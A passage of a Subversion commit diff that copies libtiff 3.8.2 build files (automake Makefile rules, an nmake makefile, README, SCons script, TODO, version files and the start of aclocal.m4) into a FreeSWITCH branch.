+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS: tags-recursive $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \
+	  include_option=--etags-include; \
+	  empty_fix=.; \
+	else \
+	  include_option=--include; \
+	  empty_fix=; \
+	fi; \
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  if test "$$subdir" = .; then :; else \
+	    test ! -f $$subdir/TAGS || \
+	      tags="$$tags $$include_option=$$here/$$subdir/TAGS"; \
+	  fi; \
+	done; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS: ctags-recursive $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	$(am__remove_distdir)
+	mkdir $(distdir)
+	$(mkdir_p) $(distdir)/config $(distdir)/m4
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+	list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
+	  if test "$$subdir" = .; then :; else \
+	    test -d "$(distdir)/$$subdir" \
+	    || $(mkdir_p) "$(distdir)/$$subdir" \
+	    || exit 1; \
+	    distdir=`$(am__cd) $(distdir) && pwd`; \
+	    top_distdir=`$(am__cd) $(top_distdir) && pwd`; \
+	    (cd $$subdir && \
+	      $(MAKE) $(AM_MAKEFLAGS) \
+	        top_distdir="$$top_distdir" \
+	        distdir="$$distdir/$$subdir" \
+	        distdir) \
+	      || exit 1; \
+	  fi; \
+	done
+	-find $(distdir) -type d ! -perm -777 -exec chmod a+rwx {} \; -o \
+	  ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \
+	  ! -type d ! -perm -400 -exec chmod a+r {} \; -o \
+	  ! -type d ! -perm -444 -exec $(SHELL) $(install_sh) -c -m a+r {} {} \; \
+	|| chmod -R a+r $(distdir)
+dist-gzip: distdir
+	tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz
+	$(am__remove_distdir)
+
+dist-bzip2: distdir
+	tardir=$(distdir) && $(am__tar) | bzip2 -9 -c >$(distdir).tar.bz2
+	$(am__remove_distdir)
+
+dist-tarZ: distdir
+	tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z
+	$(am__remove_distdir)
+
+dist-shar: distdir
+	shar $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).shar.gz
+	$(am__remove_distdir)
+dist-zip: distdir
+	-rm -f $(distdir).zip
+	zip -rq $(distdir).zip $(distdir)
+	$(am__remove_distdir)
+
+dist dist-all: distdir
+	tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz
+	-rm -f $(distdir).zip
+	zip -rq $(distdir).zip $(distdir)
+	$(am__remove_distdir)
+
+# This target untars the dist file and tries a VPATH configuration.  Then
+# it guarantees that the distribution is self-contained by making another
+# tarfile.
+distcheck: dist
+	case '$(DIST_ARCHIVES)' in \
+	*.tar.gz*) \
+	  GZIP=$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(am__untar) ;;\
+	*.tar.bz2*) \
+	  bunzip2 -c $(distdir).tar.bz2 | $(am__untar) ;;\
+	*.tar.Z*) \
+	  uncompress -c $(distdir).tar.Z | $(am__untar) ;;\
+	*.shar.gz*) \
+	  GZIP=$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\
+	*.zip*) \
+	  unzip $(distdir).zip ;;\
+	esac
+	chmod -R a-w $(distdir); chmod a+w $(distdir)
+	mkdir $(distdir)/_build
+	mkdir $(distdir)/_inst
+	chmod a-w $(distdir)
+	dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \
+	  && dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \
+	  && cd $(distdir)/_build \
+	  && ../configure --srcdir=.. --prefix="$$dc_install_base" \
+	    $(DISTCHECK_CONFIGURE_FLAGS) \
+	  && $(MAKE) $(AM_MAKEFLAGS) \
+	  && $(MAKE) $(AM_MAKEFLAGS) dvi \
+	  && $(MAKE) $(AM_MAKEFLAGS) check \
+	  && $(MAKE) $(AM_MAKEFLAGS) install \
+	  && $(MAKE) $(AM_MAKEFLAGS) installcheck \
+	  && $(MAKE) $(AM_MAKEFLAGS) uninstall \
+	  && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \
+	        distuninstallcheck \
+	  && chmod -R a-w "$$dc_install_base" \
+	  && ({ \
+	       (cd ../.. && umask 077 && mkdir "$$dc_destdir") \
+	       && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \
+	       && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \
+	       && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \
+	            distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \
+	      } || { rm -rf "$$dc_destdir"; exit 1; }) \
+	  && rm -rf "$$dc_destdir" \
+	  && $(MAKE) $(AM_MAKEFLAGS) dist \
+	  && rm -rf $(DIST_ARCHIVES) \
+	  && $(MAKE) $(AM_MAKEFLAGS) distcleancheck
+	$(am__remove_distdir)
+	@(echo "$(distdir) archives ready for distribution: "; \
+	  list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \
+	  sed -e '1{h;s/./=/g;p;x;}' -e '$${p;x;}'
+distuninstallcheck:
+	@cd $(distuninstallcheck_dir) \
+	&& test `$(distuninstallcheck_listfiles) | wc -l` -le 1 \
+	   || { echo "ERROR: files left after uninstall:" ; \
+	        if test -n "$(DESTDIR)"; then \
+	          echo "  (check DESTDIR support)"; \
+	        fi ; \
+	        $(distuninstallcheck_listfiles) ; \
+	        exit 1; } >&2
+distcleancheck: distclean
+	@if test '$(srcdir)' = . ; then \
+	  echo "ERROR: distcleancheck can only run from a VPATH build" ; \
+	  exit 1 ; \
+	fi
+	@test `$(distcleancheck_listfiles) | wc -l` -eq 0 \
+	  || { echo "ERROR: files left in build directory after distclean:" ; \
+	       $(distcleancheck_listfiles) ; \
+	       exit 1; } >&2
+check-am: all-am
+check: check-recursive
+all-am: Makefile $(DATA)
+installdirs: installdirs-recursive
+installdirs-am:
+	for dir in "$(DESTDIR)$(docdir)"; do \
+	  test -z "$$dir" || $(mkdir_p) "$$dir"; \
+	done
+install: install-recursive
+install-exec: install-exec-recursive
+install-data: install-data-recursive
+uninstall: uninstall-recursive
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-recursive
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-recursive
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-recursive
+	-rm -f $(am__CONFIG_DISTCLEAN_FILES)
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool \
+	distclean-tags
+
+dvi: dvi-recursive
+
+dvi-am:
+
+html: html-recursive
+
+info: info-recursive
+
+info-am:
+
+install-data-am: install-dist_docDATA
+
+install-exec-am:
+
+install-info: install-info-recursive
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-recursive
+	-rm -f $(am__CONFIG_DISTCLEAN_FILES)
+	-rm -rf $(top_srcdir)/autom4te.cache
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-recursive
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-recursive
+
+pdf-am:
+
+ps: ps-recursive
+
+ps-am:
+
+uninstall-am: uninstall-dist_docDATA uninstall-info-am
+
+uninstall-info: uninstall-info-recursive
+
+.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am am--refresh check \
+	check-am clean clean-generic clean-libtool clean-recursive \
+	ctags ctags-recursive dist dist-all dist-bzip2 dist-gzip \
+	dist-shar dist-tarZ dist-zip distcheck distclean \
+	distclean-generic distclean-libtool distclean-recursive \
+	distclean-tags distcleancheck distdir distuninstallcheck dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-dist_docDATA install-exec \
+	install-exec-am install-info install-info-am install-man \
+	install-strip installcheck installcheck-am installdirs \
+	installdirs-am maintainer-clean maintainer-clean-generic \
+	maintainer-clean-recursive mostlyclean mostlyclean-generic \
+	mostlyclean-libtool mostlyclean-recursive pdf pdf-am ps ps-am \
+	tags tags-recursive uninstall uninstall-am \
+	uninstall-dist_docDATA uninstall-info-am
+
+
+release:
+	(rm -f RELEASE-DATE && echo $(LIBTIFF_RELEASE_DATE) > RELEASE-DATE)
+	(rm -f VERSION && echo $(LIBTIFF_VERSION) > VERSION)
+	(rm -f ./libtiff/tiffvers.h && sed 's,LIBTIFF_VERSION,$(LIBTIFF_VERSION),;s,LIBTIFF_RELEASE_DATE,$(LIBTIFF_RELEASE_DATE),' ./libtiff/tiffvers.h.in > ./libtiff/tiffvers.h)
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.vc

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.vc (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/Makefile.vc) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.vc	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/Makefile.vc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+# $Id: Makefile.vc,v 1.5 2006/03/23 14:54:00 dron Exp $
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+# Makefile for MS Visual C and Watcom C compilers.
+# Edit nmake.opt file if you want to ajust building options.
+#
+# To build:
+# C:\libtiff> nmake /f makefile.vc 
+
+!INCLUDE nmake.opt
+
+all:	port lib tools
+
+port::
+	cd port
+	$(MAKE) /f Makefile.vc
+	cd..
+
+lib:	port
+	cd libtiff
+	$(MAKE) /f Makefile.vc
+	cd..
+
+tools:	lib
+	cd tools
+	$(MAKE) /f Makefile.vc
+	cd ..
+
+clean:
+	cd port
+	$(MAKE) /f Makefile.vc clean
+	cd..
+	cd libtiff
+	$(MAKE) /f Makefile.vc clean
+	cd..
+	cd tools
+	$(MAKE) /f Makefile.vc clean
+	cd ..
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,59 @@
+$Header: /cvs/maptools/cvsroot/libtiff/README,v 1.5 2004/10/30 13:44:45 dron Exp $
+
+
+TIFF Software Distribution
+--------------------------
+This file is just a placeholder; all the documentation is now in
+HTML in the html directory.  To view the documentation point your
+favorite WWW viewer at html/index.html; e.g.
+
+    netscape html/index.html
+
+If you don't have an HTML viewer then you can read the HTML source
+or fetch a PostScript version of this documentation from the directory
+
+    ftp://ftp.remotesensing.org/pub/libtiff/
+
+If you can't hack either of these options then basically what you
+want to do is:
+
+    % ./configure
+    % make
+    % su
+    # make install
+
+More information, email contacts, and mailing list information can be 
+found online at http://www.remotesensing.org/libtiff/.
+
+
+Use and Copyright
+-----------------
+Silicon Graphics has seen fit to allow us to give this work away.  It
+is free.  There is no support or guarantee of any sort as to its
+operations, correctness, or whatever.  If you do anything useful with
+all or parts of it you need to honor the copyright notices.   I would
+also be interested in knowing about it and, hopefully, be acknowledged.
+
+The legal way of saying that is:
+
+Copyright (c) 1988-1997 Sam Leffler
+Copyright (c) 1991-1997 Silicon Graphics, Inc.
+
+Permission to use, copy, modify, distribute, and sell this software and 
+its documentation for any purpose is hereby granted without fee, provided
+that (i) the above copyright notices and this permission notice appear in
+all copies of the software and related documentation, and (ii) the names of
+Sam Leffler and Silicon Graphics may not be used in any advertising or
+publicity relating to the software without the specific, prior written
+permission of Sam Leffler and Silicon Graphics.
+
+THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+
+IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+OF THIS SOFTWARE.

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/RELEASE-DATE

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/RELEASE-DATE (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/RELEASE-DATE) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/RELEASE-DATE	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/RELEASE-DATE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+20060323

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/SConstruct

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/SConstruct (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/SConstruct) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/SConstruct	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/SConstruct	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,169 @@
+# $Id: SConstruct,v 1.2 2006/03/23 14:54:00 dron Exp $
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2005, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# This file contains rules to build software with the SCons tool
+# (see the http://www.scons.org/ for details on SCons).
+
+import os
+
+env = Environment()
+
+# Read the user supplied options
+opts = Options('libtiff.conf')
+opts.Add(PathOption('PREFIX', \
+    'install architecture-independent files in this directory', \
+    '/usr/local', PathOption.PathIsDirCreate))
+opts.Add(BoolOption('ccitt', \
+    'enable support for CCITT Group 3 & 4 algorithms', \
+    'yes'))
+opts.Add(BoolOption('packbits', \
+    'enable support for Macintosh PackBits algorithm', \
+    'yes'))
+opts.Add(BoolOption('lzw', \
+    'enable support for LZW algorithm', \
+    'yes'))
+opts.Add(BoolOption('thunder', \
+    'enable support for ThunderScan 4-bit RLE algorithm', \
+    'yes'))
+opts.Add(BoolOption('next', \
+    'enable support for NeXT 2-bit RLE algorithm', \
+    'yes'))
+opts.Add(BoolOption('logluv', \
+    'enable support for LogLuv high dynamic range encoding', \
+    'yes'))
+opts.Add(BoolOption('strip_chopping', \
+    'support for strip chopping (whether or not to convert single-strip uncompressed images to mutiple strips of ~8Kb to reduce memory usage)', \
+    'yes'))
+opts.Add(BoolOption('extrasample_as_alpha', \
+    'the RGBA interface will treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA. Many packages produce RGBA files but don\'t mark the alpha properly', \
+    'yes'))
+opts.Add(BoolOption('check_ycbcr_subsampling', \
+    'disable picking up YCbCr subsampling info from the JPEG data stream to support files lacking the tag', \
+    'yes'))
+opts.Update(env)
+opts.Save('libtiff.conf', env)
+Help(opts.GenerateHelpText(env))
+
+# Here are our installation paths:
+idir_prefix = '$PREFIX'
+idir_lib = '$PREFIX/lib'
+idir_bin = '$PREFIX/bin'
+idir_inc = '$PREFIX/include'
+idir_doc = '$PREFIX/doc'
+Export([ 'env', 'idir_prefix', 'idir_lib', 'idir_bin', 'idir_inc', 'idir_doc' ])
+
+# Now proceed to system feature checks
+target_cpu, target_vendor, target_kernel, target_os = \
+    os.popen("./config.guess").readlines()[0].split("-")
+
+def Define(context, key, have):
+    import SCons.Conftest
+    SCons.Conftest._Have(context, key, have)
+
+def CheckCustomOption(context, name):
+    context.Message('Checking is the ' + name + ' option set... ')
+    ret = env[name]
+    Define(context, name + '_SUPPORT', ret)
+    context.Result(ret)
+    return ret
+
+def CheckFillorderOption(context):
+    context.Message('Checking for the native cpu bit order... ')
+    if target_cpu[0] == 'i' and target_cpu[2:] == '86':
+	Define(context, 'HOST_FILLORDER', 'FILLORDER_LSB2MSB')
+	context.Result('lsb2msb')
+    else:
+	Define(context, 'HOST_FILLORDER', 'FILLORDER_MSB2LSB')
+	context.Result('msb2lsb')
+    return 1
+
+def CheckIEEEFPOption(context):
+    context.Message('Checking for the IEEE floating point format... ')
+    Define(context, 'HAVE_IEEEFP', 1)
+    context.Result(1)
+    return 1
+
+def CheckOtherOption(context, name):
+    context.Message('Checking is the ' + name + ' option set... ')
+    ret = env[name]
+    Define(context, 'HAVE_' + name, ret)
+    context.Result(ret)
+    return ret
+
+custom_tests = { \
+    'CheckCustomOption' : CheckCustomOption, \
+    'CheckFillorderOption' : CheckFillorderOption, \
+    'CheckIEEEFPOption' : CheckIEEEFPOption, \
+    'CheckOtherOption' : CheckOtherOption \
+    }
+conf = Configure(env, custom_tests = custom_tests, \
+    config_h = 'libtiff/tif_config.h')
+
+# Check for standard library
+conf.CheckLib('c')
+if target_os != 'cygwin' \
+    and target_os != 'mingw32' \
+    and target_os != 'beos' \
+    and target_os != 'darwin':
+    conf.CheckLib('m')
+
+# Check for system headers
+conf.CheckCHeader('assert.h')
+conf.CheckCHeader('fcntl.h')
+conf.CheckCHeader('limits.h')
+conf.CheckCHeader('malloc.h')
+conf.CheckCHeader('search.h')
+conf.CheckCHeader('sys/time.h')
+conf.CheckCHeader('unistd.h')
+
+# Check for standard library functions
+conf.CheckFunc('floor')
+conf.CheckFunc('isascii')
+conf.CheckFunc('memmove')
+conf.CheckFunc('memset')
+conf.CheckFunc('mmap')
+conf.CheckFunc('pow')
+conf.CheckFunc('sqrt')
+conf.CheckFunc('strchr')
+conf.CheckFunc('strrchr')
+conf.CheckFunc('strstr')
+conf.CheckFunc('strtol')
+
+conf.CheckFillorderOption()
+conf.CheckIEEEFPOption()
+conf.CheckCustomOption('ccitt')
+conf.CheckCustomOption('packbits')
+conf.CheckCustomOption('lzw')
+conf.CheckCustomOption('thunder')
+conf.CheckCustomOption('next')
+conf.CheckCustomOption('logluv')
+conf.CheckOtherOption('strip_chopping')
+conf.CheckOtherOption('extrasample_as_alpha')
+conf.CheckOtherOption('check_ycbcr_subsampling')
+
+env = conf.Finish()
+
+# Ok, now go to build files in the subdirectories
+SConscript(dirs = [ 'libtiff' ], name = 'SConstruct')

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/TODO

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/TODO (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/TODO) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/TODO	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/TODO	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+#	$Header: /cvs/maptools/cvsroot/libtiff/TODO,v 1.6 2002/10/10 05:28:43 warmerda Exp $
+
+o gif2tiff segaulting on selected images
+o tiffcmp read data by strip/tile instead of scanline
+o YCbCr sampling support
+o extracate colorspace conversion support
+o look at isolating all codecs from TIFF library
+o JPEG colormode order dependency problem
+o Write documentation on how do extend tags, and how the custom field
+  stuff all works. 
+
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/VERSION

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/VERSION (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/VERSION) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/VERSION	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/VERSION	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+3.8.2

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/aclocal.m4

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/aclocal.m4 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/aclocal.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/aclocal.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/aclocal.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7281 @@
+# generated automatically by aclocal 1.9.6 -*- Autoconf -*-
+
+# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004,
+# 2005  Free Software Foundation, Inc.
+# This file is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*-
+
+# serial 48 Debian 1.5.22-4 AC_PROG_LIBTOOL
+
+
+# AC_PROVIDE_IFELSE(MACRO-NAME, IF-PROVIDED, IF-NOT-PROVIDED)
+# -----------------------------------------------------------
+# If this macro is not defined by Autoconf, define it here.
+m4_ifdef([AC_PROVIDE_IFELSE],
+         [],
+         [m4_define([AC_PROVIDE_IFELSE],
+	         [m4_ifdef([AC_PROVIDE_$1],
+		           [$2], [$3])])])
+
+
+# AC_PROG_LIBTOOL
+# ---------------
+AC_DEFUN([AC_PROG_LIBTOOL],
+[AC_REQUIRE([_AC_PROG_LIBTOOL])dnl
+dnl If AC_PROG_CXX has already been expanded, run AC_LIBTOOL_CXX
+dnl immediately, otherwise, hook it in at the end of AC_PROG_CXX.
+  AC_PROVIDE_IFELSE([AC_PROG_CXX],
+    [AC_LIBTOOL_CXX],
+    [define([AC_PROG_CXX], defn([AC_PROG_CXX])[AC_LIBTOOL_CXX
+  ])])
+dnl And a similar setup for Fortran 77 support
+  AC_PROVIDE_IFELSE([AC_PROG_F77],
+    [AC_LIBTOOL_F77],
+    [define([AC_PROG_F77], defn([AC_PROG_F77])[AC_LIBTOOL_F77
+])])
+
+dnl Quote A][M_PROG_GCJ so that aclocal doesn't bring it in needlessly.
+dnl If either AC_PROG_GCJ or A][M_PROG_GCJ have already been expanded, run
+dnl AC_LIBTOOL_GCJ immediately, otherwise, hook it in at the end of both.
+  AC_PROVIDE_IFELSE([AC_PROG_GCJ],
+    [AC_LIBTOOL_GCJ],
+    [AC_PROVIDE_IFELSE([A][M_PROG_GCJ],
+      [AC_LIBTOOL_GCJ],
+      [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ],
+	[AC_LIBTOOL_GCJ],
+      [ifdef([AC_PROG_GCJ],
+	     [define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[AC_LIBTOOL_GCJ])])
+       ifdef([A][M_PROG_GCJ],
+	     [define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[AC_LIBTOOL_GCJ])])
+       ifdef([LT_AC_PROG_GCJ],
+	     [define([LT_AC_PROG_GCJ],
+		defn([LT_AC_PROG_GCJ])[AC_LIBTOOL_GCJ])])])])
+])])# AC_PROG_LIBTOOL
+
+
+# _AC_PROG_LIBTOOL
+# ----------------
+AC_DEFUN([_AC_PROG_LIBTOOL],
+[AC_REQUIRE([AC_LIBTOOL_SETUP])dnl
+AC_BEFORE([$0],[AC_LIBTOOL_CXX])dnl
+AC_BEFORE([$0],[AC_LIBTOOL_F77])dnl
+AC_BEFORE([$0],[AC_LIBTOOL_GCJ])dnl
+
+# This can be used to rebuild libtool when needed
+LIBTOOL_DEPS="$ac_aux_dir/ltmain.sh"
+
+# Always use our own libtool.
+LIBTOOL='$(SHELL) $(top_builddir)/libtool'
